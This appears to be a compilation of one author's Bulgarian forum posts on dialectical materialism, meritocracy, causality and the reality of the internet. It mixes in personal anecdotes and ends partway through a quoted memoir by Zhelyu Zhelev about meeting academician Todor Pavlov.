А, за протокола, въпросната по-късно се оказа не толкова възпитана и разбрана за каквато се представи - включва ми се с фалшиви акаунти да ми досажда в стил: "Искам само девствен мъж! Ти не си девствен." Казвам й: "Добре, въпрос на избор. Довиждане.", а тая продължава... Инфантилно поведение показа, но по-късно се засякохме навън 2 пъти и беше доста сконфузена. Аз нищо не й казах повече по случката, все едно, че нищо не е ставало - държах се доста кавалерски. Дълга история. И не си струва да се засяга тук толкова.
140. Хората са определени в една систематизация така (на руски):
"Царство: Животные
Тип: Хордовые
Подтип: Позвоночные
Класс: Млекопитающие
Подкласс: Плацентарные
Отряд: Приматы
Подотряд: Сухоносые
οнфраотряд: Узконосые
Надсемейство: Человекообразные
Семейство: Гоминиды
Подсемейство: Гоминины
Триба: Гоминини
Подтриба: Гоминина
Род: Люди
Вид: Человек разумный
Подвид: Человек разумный разумный"
---
Аз искам да добавя още и това, че хората са и ХИЩНИЦИ по следните критерии:
- Хищниците се хранят с месо, също така могат да бъдат и всеядни.
- Хищниците имат добре-изразени кучешки зъби, с които убиват жертвите си.
...
В този смисъл човекът не е само животно, но и хищно животно. Всеядно, определено. Изключваме групите, които напоследък се увеличават - различни вегетарианци, вегани и др.
141. Не е точно архаизъм, защото е доста разространена "координатна система" на мислене даже и у философи на които се възхищавам. Трудничко излизат на над-народностно, над-национално ниво на мислене.
Колкото до ролята на Европа... бих казал, че роля имат ОТДЕЛНИ СТРАНИ. И то до степен такава, че могат да СЪПЕРНИЧАТ по някои или по редица пунктове на най-силните : САЩ и КИТАЙ (с известни уговорки може да включим и Индия). Такива конкурентноспособни аз виждам в лицето на:
-РУСИЯ (армия, научно-философски ресурс, полезни изкопаеми)
-ФРАНЦИЯ (армия, научно-философски ресурс, икономика)
-ГЕРМАНИЯ (научно-философски ресурс, икономика)
-АНГЛИЯ (армия, научно-философски ресурс, икономика).
(Не съм голям любител на ЕС и на Европа; от дълго време живея в Китай. Но не мога да не отчитам потенциала на Голямата 4-ка, за която споменах - Русия, Франция, Германия, Англия).
(Следва.)
-
142. Слагам темата тук, защото не отговаря на условието в "Размисли" ("Задай въпрос - получи отговор"), понеже нямам въпроси, но бих искал да чуя вашите оценки, драги колеги:
и след това беше текстът на това, което е описано добре тук - Най-доброто икономическо/политико-икономическо решение (http://www.seo-forum-seo-luntan.com/other-languages/oo-aka-am-eeta-tat-ot-ee-ktae/msg2653/#msg2653).
143. Помествам следния мой "анализ и синтез", ще се радвам на градивни, диалектически критики: и след това беше текстът на това, което е описано добре тук - Най-добрата форма на държавно управление (http://www.seo-forum-seo-luntan.com/other-languages/oo-aka-am-eeta-tat-ot-ee-ktae/msg3360/#msg3360).
144. Така е, Ванче, така е. Аз често по-разбирам жените, отколкото те се разбират помежду си. Което и доказва на Хераклит, че разбирането няма пол.
Като става дума за първата ми жена - тя казваше (с яд!) "Ти познаваш тялото ми по-добре от самата мен!" (Намек, че съм имал доста опит с женски тела! Пък тя, видиш ли, само с 2-ма преди мене, макар че това остава много спорно дали са били само 2-ма! За втория си призна в една кризова ситуация...). Иначе - да, аз тогава бях толерантен, понеже си мислех, че тука е като в България - девалвирано по отношение на девственост, ама ме светнаха хората, че не е и сега гледам да не се прекарам, а и търся, някакви гаранти, макар и да си давам сметка, че има както ДЕВСТВЕНИ КУРВИ, така и НЕДЕВСТВЕНИ ПОЧТЕНИ ЖЕНИ. (Първото понятие не е оксиморонно. Наистина съществуват такива жени - може физически да са девствени (с непокътнат химен), но поведенчески да не са - например правят петинг и др. с най-различни мъже.)
С оглед на споходилото ме САТОРИ, то направо може да си остана "Аз съм Гошо-Хубавеца, вечния ерген!", но ще карам на принципа ВСИЧКО ИЛИ НИЩО!... Все пак има и други видове щастия. Като това, че открих блога на Николай Турлаков и сега му пиша коментари там. Последно писах това:
"Абсолютизираш родовото, историчното! Не винаги то е по-добро от ДРУГОТО, НОВОТО, МОДЕРНОТО, ИНТЕРНАЦИОНАЛНОТО. Въпросът е да може да се вземат, диалектично, само позитивните неща от тях. Иначе ще изпаднем в положение на ултра-национализъм, нихилизъм и какво ли не. Прост пример - "Николай няма да използва Интернет, понеже това е САЩско, а не Българско творение."
Ама наистина се чувствам много щастлив, че мога да чета "Късния Николай Турлаков". ;) /Всъщност човекът не е толкова стар, но се пишеше с по-старчески ник. :) /
145. Относно "А кой ще решава кои хора са "заслужили, достойни и пр."?
И кой и как ще се гарантира предоставянето на управлението тъкмо на тези хора?": Значи на тебе ти харесва идеята, но смяташ, че "технически" е трудно-приложима или неприложима?
Аз мисля, че система от Държавни изпити/тестове би определяла обективно и прозрачно технократите (можещите). Отделно, би могло, в конституцията, да има ясни критерии какво е достойното, заслужаващо поведение. В такъв ред на мисли си ги мисля нещата... Моля за повече критики и разсъждения. Радвам се, че някой прояви интерес!
146. Това, което прави Сокал не е ли вече правено от позитивистите, както и от Ленин ("Материализъм и емпириокритицизъм"), донякъде?
147. От 2009 година, да припомня. На времето чух на една прес-конференция от историка и настоящ президент на РБ - Георги Първанов много интересно и точно разграничаване, цитирам по смисъл:
"Това не е ПРОВАЛ, а е НЕУСПЕХ!"
Харесва ли ви тази дистинкция? Аз много й се възхитих и до днес си я ползвам в научно-философското мислене. Правя аналогия с "Битката е изгубена, но не и войната." Правилно ли мисля, според вас?
148. Това е стар експеримент, но може още някой да не го е видял. Навежда към доста повече философски размисли, отколкото, примерно, 10 страници на Хайдегер (Ники да не се засяга, а да погледне видеото и да си каже мнението, ако желае) :)
http://www.youtube.com/watch?v=ApVg9lRs7JY
149. Препоръчвам и "откритието" си, че човекът е не само животно, но и хищник. Там има много хубава класификация, която съм приложил.
150. Философски виц: "Ректорът се кара на декана на Биологическия:
- Абе какви хора сте вие, бе? Това биолозите сте най-алчното племе в университета. Само знаете да искате, искате..."Искаме епруветки, искаме плъх от Ангола, искаме ДНК от птеродактил!" Много искате! Вместо да искате, вземете пример от математиците! Те искат само моливи и гумички! А ФИЛОСОФИТЕ ДАЖЕ И ГУМИЧКИ НЕ ИСКАТ!!!"
;D
151. Добре изглежда. Гюзеллик, така да се каже! Бравос!
И да използвам повода да благодаря за добрия икономическо-философски отговор на въпроса си.
(Следва...)
-
152. Относно "Да, много "донякъде" може да се открие сходство между Сокал и позитивистите (в общата им неприязън към използването на неясен език) и дори Сокал и Ленин (леви убеждения, критика на релативизма). Но има и доста съществени разлики: както казах по-горе, Сокал се отнася с подозрение към всяка възможност философията да допринесе по някакъв начин за собствено научния прогрес (за което не е прав, струва ми се).": Информирано момиче! Мерси за пояснението!
153. Относно меритокрацията: Един от най-ярките исторически примери на меритокрация при монархия (в ръководните кадри) е в Монголската империя. Прости механизми - който е допринесъл повече за народа, основно доказал се като стратег и тактик в боя - него и покачва в длъжност владетелят. Механизъмът е прост : ИМАЩИТЕ ВЕЧЕ КОНТРОЛ избират най-допринеслите и най-способните. По този начин властта постепенно се попълва с по-можещи, достойни хора. Т.е. нещо като автогенен механизъм.
154. Непълно, измодерирано... Затова е добре човек да си пише в собствен форум, за да не го измодерирват.
измодерирано
"2) Статистическа (вероятностна) причинност: А е причина на В, ако В настъпва по-често ако А е налице, отколкото ако А отсъства. Формалното описание на този тип причинна зависимост се дава по следния начин:
Р(В/А) > Р(В/не-А) - чете се: вероятността В да настъпи при условие, че А е налице е по-голяма от вероятността В да настъпи ако А не е налице."
ТОВА МУ СЕ КАЗВА "КО-ФАКТОР", също така.
"4) Манипулабилистка причинност: А е каузално свързано с В, ако всяка промяна в А води до промяна в В, но не и обратното. Или
Ако А + dA, то B + dB"
НЕТРАНЗИТИВНО, демек.
"Последният въпрос е доста важен от методологичноа гледна точка (спомнете си за шизофренията, сифилиса и пр. гадни болести, чиито причини или следствия са важни за нас :-))) Но лично за мен не по-малко интересен е и първият въпрос."
ГАДНИ БОЛЕСТИ не е ли малко ОКСИМОРОННО /т. е. обратното би било оксиморонно, което се предполага с така казаното - "негадни болести" и пр. В случая по-правилното е ТАВТОЛОГИЧНО./? В смисъл има ли някоя негадна болест? ;) Болестта за това е болест, че да ти е гадно ;) Хаха. Шегувам се, но, наистина - болестите са си гадни имплицитно.
155. В споделянето на личен опит, макар и натурален (биологичен) няма нещо смущаващо. Даже, напротив, по-младите потребители биха се увлекли именно от едно такова начало и по този начин повече ще върви Гугъл-бизнесът. Т.е. чисто на едно прагматично-комерсиално ниво. Иначе ще се съобразя с желанието на модератора и няма повече да споменавам неща, които го дразнят тук. /Няма по-добро от това сам да си си модератор, сам да си пишеш за себе си, сам да си пишеш и да получаваш някакви пари от Гугъл (или от други източници, ако имаш такава възможност)! За съжаление не го осъзнах това преди поне 15 години! Досега можеше да имам много успехи и много пари, ама уви... закъснях, но поне, да се надявам, съм хванал поне "последния влак"!/
***Фреге, защо нещо обективно като причиняването за теб е нереално? Това, че хората не могат да отразяват адекватно действителността, не означава, че нея я няма. Същото важи и за причините като част от действителността.
156. Ваня, освен, че ми направи впечатление с някои точни "заметки" по темата ти ме зарадва и в друго отношение. Постът ти е жив пример за това, че в България вторият официален език е английският, а китайците понякога не ми вярват за това... Особено доказателствено е изречението ти:
"...от време на време да й помага ГУУД, ако толкова иска сама по себе да "изпитва" Нобел-а, ЕВЪР..."
Респект и дълбок поклон! ;) /Шегувам се, разбира се. В оригинал изреченията наистина бяха с английските "good" и "ever". А английският е един от официалните езици на ЕС, в който е и България, та минава за един от официалните езици, а не "вторият", макар че най-много той се владее от чуждите езици. Така научаваме от https://en.wikipedia.org/wiki/European_Union#Languages (https://en.wikipedia.org/wiki/European_Union#Languages)./
157. "1) Кофактор е нещо съвсем различно: кофактор е причина, която не може да произведе самостоятелно ефект, а само съвместно с други причини. Тази кофакторна причина може да се подчинява както на класическата схема, така и на вероятностната. От своя страна една вероятностна причина не е непременно кофактор."
Т.е. кофакторът е частен случай на вероятностната причина. Хубаво.
"2) Къде видя нетранзитивност в манипулабилистката схема? Причинното отношение е транзитивно по природа, май (поне не се сещам за контрапримери). Т.е. ако А е причина на В, а В е причина на С, то може да се твърди в някакъв смисъл, че А е причина на С."
Ами ти така се изказа с "но не и обратното", та аз реших да го илюстрирам с логическа думичка. Давам своя скромен принос с познанията си за нетранзитивни и транзитивни отношения, които учих около 1991 година, в 9-ти клас.
"3) Изразът "гадни болести" не е оксиморон, оксиморон (вътрешно противоречив израз) би било "щастливи болести" и пр."
Т.е. има гадни и не-гадни болести? Не, не съм съгласен. И сега ще дам много полезен лингвистично-психологически анализ (херменевтите-идеалисти да гледат и да се учат от материалиста-лингвист като мен):
а) БОЛЕСТ идва от пра-индоевропейския корен БХАЛ, който си значи БОЛКА и БОЛЕСТ.
б) В старославянски БОЛЬ и БОЛЕТИ.
Ето и връзки с други езици :
"Further etymology: Родственно д.-в.-н. balo "пагуба, зло", др.-исл. bǫl, др.-англ. bealu, гот. balwawesei "злость", balwjan "мучить"..."
в) Доколкото болестта е в категория НЕУДОВОЛСТВИЕ, т.е. ГАДОСТ, то, по презумпция, всяка болест си е гадна и се преживява (ако е осъзната) именно в качеството си на гадна.
Щастливи болести в някакъв смисъл има. Маниакалната фаза на циклофренията, както и някои мозъчни тумори дават чувство за щастие. А щастието е субективна категория, така че може да се каже, че някой има "щастлива болест". Но тя също е гадна. Негадни болести няма.
158. "би могло да е общ принцип, обаче конкретно говоренето за неща-които-ги-има-ама-не-ги-знаем не ми се струва нито рационално, нито (ми е) интересно."
С изследвания се постига познание по-дълбоко и по-широко. Например карго-култовете възникват от недостатъчно изследване, опознаване на самолетите.
"казваме, че слънцето изгрява и имплицитно му приписваме деятелност, говорим и за причини, но и това е атавизъм. все пак от доста крайни причини сме се отървали, а остава да видим дали и самата идея не е антропоцентризъм."
Антропоцентризмът не е обезателно погрешен. Всяко познание е субективно по форма (антропоцентрично), но вече се дели на :
- ОБЕКТИВНО по съдържание (вярно)
- СУБЕКТИВНО по съдържание (невярно).
Пример - Стоян и Асен виждат вулкан и всеки си създава СУБЕКТИВНА КАРТИНА/РАЗБИРАНЕ на вулкана. Ама за Асен това е просто басейн с топла водица и решава да се изкъпе в лавата, та изгаря. А Стоян си мисли, че вулканът е вулкан и успява да избяга скачайки на джипа и подкарвайки го в обратна посока със 150 км/час.
Т.е. виждаме как 2 субективни идеи могат да са хем обективни, хем субективни по съдържание. /И по-правилно е да се отграничава "субектно - субективно", за по-добра яснота./
Така казва диалектическият материализъм.
159. Говорят си за неща в отношението онтология - логика. И тук вече имаме два основни подхода:
а) Лениновия. (По който те вървят и по който повечето философи не спират да вървят, независимо дали си дават сметка за това или не). Ленин казва, че това диалектика (онтология), логика и теория на познанието (гносеология) са си МОНОЛИТ, единство.
б) Жельо Желевия (заради тази му идея става дисидент). Жельо казва, че изхождайки от факта, че научките се специализират от философията и се дистанцират от нея, когато узреят за това, ТО ЛОГИКАТА ОТДАВНА НЕ Е ФИЛОСОФИЯ, а си е ЧАСТНА НАУКА, подобно на МАТЕМАТИКАТА или ФИЗИКАТА, които също са философични и произлизат от философията, но никой не ги мисли като философия.
В този смисъл, виждаш, има възможност, въпреки единството на логиката с диалектиката, тя да бъде правена и като ЧАСТНА наука. Т.е. човек може да изучи логика и да е добър логик, без да е учил философия и обратно - може да си много добър философ, без да си логик...
В медицината се специализират на различни дялове. Та, примерно, един психиатър може нищо да не разбира от гинекология (учил нещо, ама отдавна го забравил и не може да го приложи). В същото време някой гинеколог може пък нищичко да не отбира от психология (пребий го, но няма да може да се сети или никога не е учил каква е разликата между "усещане" и "възрпиятие" /идиоматичен израз - като "Убий ме, ама не мога да се сетя."/"И да ме убиеш не мога да кажа..."/), но и двамата са си медици.
И ти така - няма да се безспокоиш, ако нещо не ти е ясно в логиката. То тя се е разрастнала неимоверно. Лесно е било да си логик по времето на Аристотел. Днес е по-трудно, най-малкото, защото количествено знанието е повече (както и, малко или повече, качествено).
Лично аз се намирам, ако не за голям, то поне за добър и приличен философ и го карам, основно, на Диалектически материализъм, защото за мене това е ВЕНЕЦЪТ НА ФИЛОСОФИЯТА, с който може да се прави ДОСТАТЪЧНА И УСПЕШНА философия. Отделно, като ОТВОРЕНА СοСТЕМА (по презумпция) Диалматът си признава всички достижения на науките, както и по-научно-материалистическите достижения на философите. Ето защо някои повлияни от Диалмата философи като Жижек или Бодрияр са ми симпатични и полезни.
Иначе, мисля че просто не си бил в кондиция и затова не си ги разбрал. ПОНЕ В ТЕЗИ ПОСТОВЕ Лилия и останалите двама си пишат по отношение на моя идеал - научно+философски, т.е. доста са коректни в изказа и няма някакви неоправдани/необяснени неологизми, нито "надута фразеология" (изразът не е мой). Имам чувството, че си влюбен тези дни - поведението ти е доста ендорфинно поне във форума. Ако е така - внимавай, че Лазарев (комуто се доверявам) вика - "Всяко нещо, което се надценява, вкл. любима жена, скоро се превръща в своята противоположност и донася много мъка, разочарования и болка." Но това било, за да ни се пречиствала душата (енерго-информационната структура), та... "все си на далавера", както са казали някои "популарни философи"... /Вече не се доверявам на Лазарев и мисля, че такава постановка е чисто спекулативна и незадължително вярна; религиозна дори./
А аз конкретно в момента не се намесвам, само се наслаждавам на дискусията. Малко по Витгенщайн, перифразичка - За това, за което нямам какво да добавя, по-добре да мълча.
160. Относно "Да, ама ако ИМАЩИТЕ КОНТРОЛ НЕ ИСКАТ ИЛИ НЕ МОГАТ да изберат можещите, знаещите и пр.?
А и като гледам какво е (о)станало от Монголската империя :-)), май примерът не е за подражание.":
Много градивна дискусия (поне така ми се струва, де, защото много уважавам градивната критика), за която пак благодаря!
1. Това е проблемът, че НЕ ИСКАТ, основно. Затова и днес имаме ЧАСТИЧНИ меритокрации, технокрации
или дори мерито-технокрации. Но като цяло по света какво командва?
- Клептокрация (Власт на престъпници, крадци...)
- Олигархия
- Плутокрация
- Абсолютна монархия
А в техен интерес не е властта да се облагородява с достойните-можещи-да-управляват. Т.е. те не искат да делят властта си.
2. Съгласен съм за Монголската империя, че примерът не е за подражание, НО внасям интересни довабки и корекции, за които някои тука не знаят:
2.1. От Монголската империя, като най-голямата държава в света правена някога (по време на максимума си с васалите е била по-голяма и от СССР) е останала Монголия. А Монголия е много голяма държава. Интересен факт:
МОНГОЛИЯ = Франция + Великобритания + Германия + Италия + Черна гора + още малко. Или с други думи казано Монголия е колкото 14 (четиринайсет) Българии и заема, по бързи сметки, 19 место в света. /Тук я дават на 18-то: https://en.wikipedia.org/wiki/List_of_countries_and_dependencies_by_area (https://en.wikipedia.org/wiki/List_of_countries_and_dependencies_by_area)./
Икономически докарва повече от малки европейски страни като Черна гора /а и Македония, Кипър, Албания, Армения, Молдова, Малта, Исландия.../, а на глава от населението по-богата от Молдова, Армения, Грузия, не от всички признатото за държава Косово, Албания, Босна (Босна и Херцеговина) и Украйна; т.е. като територия от империята е останало повече отколкото от европейските империи (без Русия), а като икономика - малко повече от най-бедните европейски страни. (Армяния и Грузия не от всички се признават за намиращи се в Европа, но според мен са европейски културно и географски, макар че най-точно е да се говори за Евразия, защото Европа - Азия е само мисловна граница и то спорно къде точно преминава.)
2.2. Меритокрацията при монголите е била на равнище армейски състав, не изцяло на команден. Там си е било монархия и рядко някой не-чингизид е можел да управлява.
2.3. Причините за разделението основно се свеждат до СЕПАРАТИЗМА и НЕЦЕНТРАЛИЗИРАНАТА, НАСЛЕДСТВЕНА власт + освободителните борби на подвластните народи - китайци, руснаци,...
161. Относно това, че интернетът е част от реала. (Част от реалността.):
Много голям предразсъдък е да се мисли, а много мислят така, че интернетът не е реален, вкл. общуването в него. А аз си мисля, че ИНТЕРНЕТ Е ЧАСТ от реала, по същия начин по който са реални телефоните или телевизорите.
162. Имплицитно говорят за това, няма как да не говорят, щом с ЛОГИЧЕСКИ ПОХВАТИ (логика) искат да достигнат истината (теория на познанието) за неща от действителността (онтология)... Демонстрират единството на тези три неща именно както Ленин го е усетил и отстоял в трудовете си, за което и Тодор Павлов беснее докато е жив пред реформатори на Диалмата като Желев.
(Следва...)
-
Да продължа...
163. Mисля си, че разбирането е сложно нещо. Хората не могат лесно да се разбират заради различните си убеждения, нагласи, интерпретации и какво ли не. ОТДЕЛНО МНОГО Е ВАЖНО ДА ЗНАЕТЕ, ЧЕ :
а) Не е задължително (макар и да е желателно) философите да се разбират помежду си.
б) Не само философите, но и представителите на една и съща частна наука или политическо течение си имат неразбирателства.
Забележка по конкретиката :
"Тя има очевидно неккъв много разпльокан синтаксис и има неква предишна семантика, дето е много мета, но това не може излежда да е причина да и отречем свойството семантика."
Според Диалектическия материализъм (конкретно Георг Брутян) тука става дума не за СВОЙСТВО, а за КАЧЕСТВО. Качеството, казва Брутян, е съвкупността от всички свойства.
164. Във връзка с това: "Далай, "дисидентството" на Желю Желев няма нищо общо с логиката. Напротив, успешната му кандидатска дисертация е по логика (за модалните категории), а онази първата, заради която го провалят е посветена на критика на Лениновото определение за материя. Чела съм тази работа (дъщерята на единия от рецензентите ни е колежка и на времето ми я даде "под дълбок секрет" :-)) и повярвай ми, нищо оригинално няма в нея, Ленин се критикува от позициите на един примитивен материализъм, типичен за 18 в.":
Позовавам се на Желевите спомени. А, ако е лъгал и/или преувеличавал - отделна работа. НО , СЪС СИГУРНОСТ, ЖЕЛЕВ КАЗВА, ЧЕ ЛОГИКАТА СИ Е ЧАСТНА НАУКА и е искал да доразвива Диалектическия материализъм в това отношение. Иначе, че Желев е по-тъп от Ленин е безспорно.
165. Хегел беше казал, че хората могат да храносмилат и без да са учили физиология. По тази логика, същото важи за философстването/мисленето. Възможно е да се прави философия и без да си навътре с формалната логика, примерно.
Иначе аз съм философ-антрополог, та нямаше как да не отгатна, че последните седмици мозъкът ти е попрепълнен с ендорфини, поради някакво влюбване. ;) И този факт го откривам само с една проста формално-логическа импликация, АМА НА БАЗАТА НА ДОСТА СЪДЪРЖАТЕЛНО познание. ;)
166. Отново по въпроса, че интернетът си е част от реала (интернет е част от реалността; интернет е реален): И аз много съм чувствителен към предразсъдъците, които на китайски се наричат ЛЪЖО-ГЛЕД "Едностранно-глед" 偏见 (т.е. ЛЪЖЛИВА ГЛЕДНА ТОЧКА, демек)... Колкото до парадно-плакатното - ами комунист-човек, така правя. С това съм по-близко до народните маси (а те, в болшинството си, не са философски-просветени).
А сега конкретно:
1. "Как мислите, еднакво реални ли са образът на екрана и неговият оригинал?"
ЕДНАКВО СА РЕАЛНИ - ОРИГИНАЛЪТ КАТО ОРИГИНАЛ, А ОБРАЗЪТ КАТО ОБРАЗ. Т.е. и оригинал, и неговият образ (който е ОБРАЗ-ПО-КОНВЕНЦοЯ, защото за някое насекомо, примерно той няма да е същият, разбираем образ) са РЕАЛНИ и ЧАСТ ОТ РЕАЛА. Примерно това, че отражението ми в огледалото не съм аз не значи, че отражението е нереално. То си е част от реалността, защото съществува, а и влиза в употреба.
2. "Или един още по-брутален пример - еднакво реални ли са порното по интернет или кабеларката и онова, което вие практикувате с партньора си в леглото?"
Еднакво са реални. Едното като ФИЛМИ, СНИМКИ. Другото като АКТ. Това, че две неща не са идентични не значи, че едното от тях е нереално.
3. "Да, Интернет съществува така, както и образите върху всеки екран - това е ясно и по него би било дебилно да спорим. Като какво съществува обаче?"
Като СРЕДСТВО ЗА КОМУНИКАЦИЯ, най-вече (комуникация разбирана в най-широк смисъл, а не само в тесния смисъл на чатене). И фактът, че сега ти ме четеш и ме разбираш, по същия начин, по който би разбрал някой до тебе иде да покаже, че това си е напълно реално, макар и под друга форма ОБЩУВАНЕ.
4. "В крайна сметка трябва да кажете няколко думи за "реала" така, както го разбирате."
Реалът го оставям да се разбира НЕЗАВИСИМО КАК. В смисъл както и да разбира някой реала, така или иначе, ще му докажа, че Интернетът не е нещо нереално, нито ИЛЮЗОРНО, а си е нещо като ТЕЛЕФОН или ТЕЛЕВИЗИЯ, които са си части от реалността.
5. "Ако все пак смятате, че образът на печеното пиле в предаването на Иван Звездев е също толкова реален колкото и пилето в чинията ви (респективно, че двете са еднакво реални), подозирам, че има РЕАЛНА опасност да умрете от глад..."
ПИЛЕТО и ОБРАЗИТЕ (независимо дали са образи на пиле или на друго) са си части от реалността. Т.е. НЕЕДНАКВОСТТА ИМ ЕДНО СПРЯМО ДРУГО НЕ ГИ ПРАВИ ПОВЕЧЕ ИЛИ ПО-МАЛКО РЕАЛНИ.
Нека да вземем по-изчистен пример, нетехнически. КОКОШКАТА и ДУМАТА ЗА НЕЯ. Това, че кокошката не е думата "кокошка", не означава, че думите са НЕРЕАЛНИ. Реални са и още как - могат даже да причиняват психогенна смърт в някои случаи (примерно казват ти, че си болен от СПИН и ти им вярваш и от стреса умираш. Това е ятрогения с психогенна смърт.) Та значи Интернетът си е реален - има си в него филми, книги, форуми, програми за общуване, където дори може ДА СЕ ГЛЕДАШ, не само да се четеш и да се чуваш, както по ВИДЕО-ТЕЛЕФОН. Така че Интернетът не е нереален, а е част и то МНОГО СЕРИОЗНА от реалността на Земята, а, може би, и на други планети, кой знае... Засега няма доказани извънземни същества, следователно няма и доказан извънземен интернет.
167. "Има" - онтология
"има защо да има" - логика
"семантики" - семиотика ---> гносеология (теория на познанието).
Пряко или косвено не може да не се говори и/или да не се ползват отношенията на тези 3 дяла.
******************************************************
Колкото до МНОГОЧИСЛЕНИЯ ПРОТИВНИК, мен лично не ме смущава. Важно е не количеството, а качеството. Ако тезите са ти бетонирани, няма значение дали един или сто овена ще си счупят главите в тях. Като поговорка го измислих. :)
А за безплодните завършеци съм съгласен - честно народът не се държи градивно дору към собствените си познания/интереси. В случая "народът" е употребен в смисъл "много хора", "много народ", а не народ на определена държава.
Следва...
-
168. Лилия, много спиш - проспала си това, проспала си онова. Това, че спиш е добре и лошо. Диалектически говоря - добре е, защото е добре за здравето в умерени дози, ама е лошо, защото не е С МЕН! /Това като един виц, който по-рано бях чул по една българска телевизия./
За Желко - сайтът вече не съществува, а текста на който се позовах беше този: "МОИТЕ СРЕЩИ С АКАД. ТОДОР ПАВЛОВ
Д-р Желю Желев
1. Спорът за характера на историческия материализъм - 1959 г.
На 24 години аз имах в главата си разработена ясна и цялостна програма за критическото преодоляване на марксистко-ленинската философия - програма, както сега бихме го казали, за постмарксисткия период във философията. По същество тя се свеждаше до завършването на историческия процес на отделяне, обособяване на частни науки от философията - процес, който започва още от античната древност, минава през Средновековието и Ренесанса, през цялата буржоазна епоха и стига до нас, като, разбира се, в наши дни той не спира, а трябва да завърши с отделянето на последните частни науки от философията.
И тези науки са логиката, гносеологията и историческия материализъм, доколкото етиката, естетиката и психологията вече бяха признати за частни науки. С ясно оформения си предмет, който се оказва различен от този на философията, те отдавна бяха узрели за обособяване като самостоятелни частни науки, изучаващи различни области от действителността.
Съгласно тази схема единствената наука, която оставаше да представлява философията, е диалектиката. В строго научния смисъл на думата философия трябваше буквално да бъде равно на диалектика. Диалектиката остава единствената философска наука, самата философия, защото изучава най-общите закони, на които се подчинява движението, изменението и развитието на процесите в света. Такива универсално действащи закони не изучава никоя друга наука. В това се състои и железният критерий за разграничаване на частно научното от философското познание. Този критерий не можеше да се оспорва по никакъв начин. С това се завършваше един период от развитието на философията, продължил близо 2500 години и приключи с пълното изчистване на нейния предмет от частнонаучните знания. Следващата голяма задача в нейното развитие като наука би трябвало да бъде изграждането й като системна наука, т. е. проблемите, които има всяка сериозна наука.
Разбира се, в тогавашните мои младежки и твърде романтични представи за нещата тази своеобразна реформация на философията се рисуваше като по-нататъшно развитие на диалектическия материализъм. Но колкото по-дълбоко навлизах в практическото осъществяване на програмата, толкова повече се убеждавах, че работата излиза далеч зад пределите на онова, което се нарича марксистко-ленинска философия, а верността на нейните най-основни постулати се поставяше директно под въпрос.
Разбрах, че осъществяването на тази мащабна програма за реформирането на философията задължително предполага критическото преосмисляне на диалектическия и историческия материализъм, изградени върху куп недомислия и предразсъдъци на политическото доктринерство, домогващо се до идеологическа експлоатация на философските знания.
Към тези недомислия трябва да бъдат отнесени: 1) определението на материята като "обективна реалност", дадено от Ленин и несъстоятелно във всяко отношение както от логическа, така и от фактологическа гледна точка; 2) крилатата му металургична фраза за "нашата философия - диалектическия и историческия материализъм - е излята като от един къс стомана", която дефинитивно провъзгласява историческия материализъм за философска наука; 3) тезата за тъждеството на логиката, диалектиката и гносеологията ("Не надо трех слов. Это одно и тоже!"); 4) предвзетата теза, че борбата между материализма и идеализма била главната движеща сила в развитието на философията от древността до наши дни, която изобщо не отговаря на истината, но за сметка на това представлява класически пример как политическото доктринерство проектира тезата за класовата борба в самата философия... 5) твърдението, че теорията на познанието можела да се изгради само и единствено като теория на отражението; 6) всеобщият характер на свойството отражение и т. н.
Тези и редица други догми от по-частен характер, въздигнати в ранг на абсолютни истини, неподлежащи на оспорване, трябваше да бъдат отхвърлени, и то задължително.
Аз имах ясното съзнание, че без това не може да се разчиства пътят за постмарксисткия период в развитието на философията. Разбирах също така, че то не може да стане с един замах наведнъж, но че напротив, трябва да се прави стъпка по стъпка. Всякакъв опит наведнъж да бъде изрината тази вехтория е предварително обречен на неуспех. Освен това цялата тази работа трябва да се прави не по пътя на голото отрицание отвън и не по пътя на елементарното ругателство, а обратно, чрез т. нар. "иманентна критика", критика отвътре. Критикът застава на позицията на дадената теза и започва да разгъва нейните вътрешни логически противоречия, докато не стане очевидно ясна пълната й несъстоятелност, така че читателят сам да каже: Ами, да! Това е една глупост. Какво общо има тя с философията и какво прави в науката философия?
Така реших да започна от историческия материализъм, като докажа неговия нефилософски, частнонаучен характер. Главният аргумент беше, че законите, които изучава, нямат по-широка валидност от сферата на човешкото общество. В този смисъл историческият материализъм, противно на подвеждащото философско наименование ("материализъм!"), представлява една глобална наука за обществото, един от възможните варианти на науката социология и по-точно - на общата социология.
За разлика от други привърженици на това схващане, които де последователно, де половинчато се опираха на същия аргумент, аз извеждах необходимостта историческият материализъм да се отдели като частна наука от по-общия процес на обособяване на частнонаучните знания от философията като наука за универсалните закони на изменението и развитието.
През пролетта на 1959 г. на тази тема бях написал научна студия от 120 машинописни страници, която обаче не можах никъде да публикувам.
Тогава изложих тезата си във вестникарска статия от 5-6 страници и я предложих на вестник "Народна младеж". Много я харесаха, но ми казаха, че за да я пуснат, трябва някоя тежка академична фигура да застане зад редакцията. Предложих я в "Студентска трибуна" - поставиха ми същото условие.
Тогава отидох при Добрин Спасов, който винаги е бил наш уважаван преподавател и го помолих той да застане зад статията. Д. Спасов ми каза, че няма нищо против да го направи, но че той като доцент едва ли ще тежи толкова, колкото е необходимо в случая. Посъветва ме да отида при акад. Тодор Павлов и да му поискам подкрепата. Каза ми още, че академикът много се ласкаел, когато при него отиват млади философи за съвет или подкрепа. Обичал да влиза в ролята на покровител. Даде ми домашния му телефон на ул. "Добруджа" 2 и ми каза към колко часа е най-удобно да се обадя. Така и постъпих.
На моето позвъняване се обади възрастна жена. Разбрах, че това е съпругата му, баба Гана, както фамилиарно я наричаха във философските среди. Казах й, че съм млад философ, завършил преди една година, и че се нуждая много от съвета и подкрепата на другаря Тодор Павлов, който никога не е отказвал поддръжката си за младите хора.
Моите думи очевидно ентусиазираха възрастната жена и тя каза: "Почакай така на телефона да питам другаря Павлов дали ще може да те приеме..."
Когато след минута се обади, за да ми каже, че академикът може да ме приеме на другия ден в 11 часа, отново употреби израза "другаря Павлов".
Това "другаря Павлов", изречено от собствената му съпруга, ми направи силно впечатление. Явно жената боготвореше своя мъж, който в нейните очи трябва да е бил най-великият философ...
В уреченото време позвъних на вратата на апартамента им на ул. "Добруджа" 2. Отвори ми мъж на средна възраст и ме покани да седна на една табуретка в хола. Холът, макар и неголям, беше с портал и преграден със завеса.
На стената срещу мен стоеше огромен портрет на академик Тодор Павлов с намръщен, свъсен лик, както очевидно според замисъла на художника е трябвало да изглежда войнстващият марксист-ленинец...
Докато разглеждах портрета, зад завесата се чу покашляне и се появи самият председател на Българската академия на науките.
- Кажи бе, душко, кажи за какво си дошъл... Какво те носи насам?
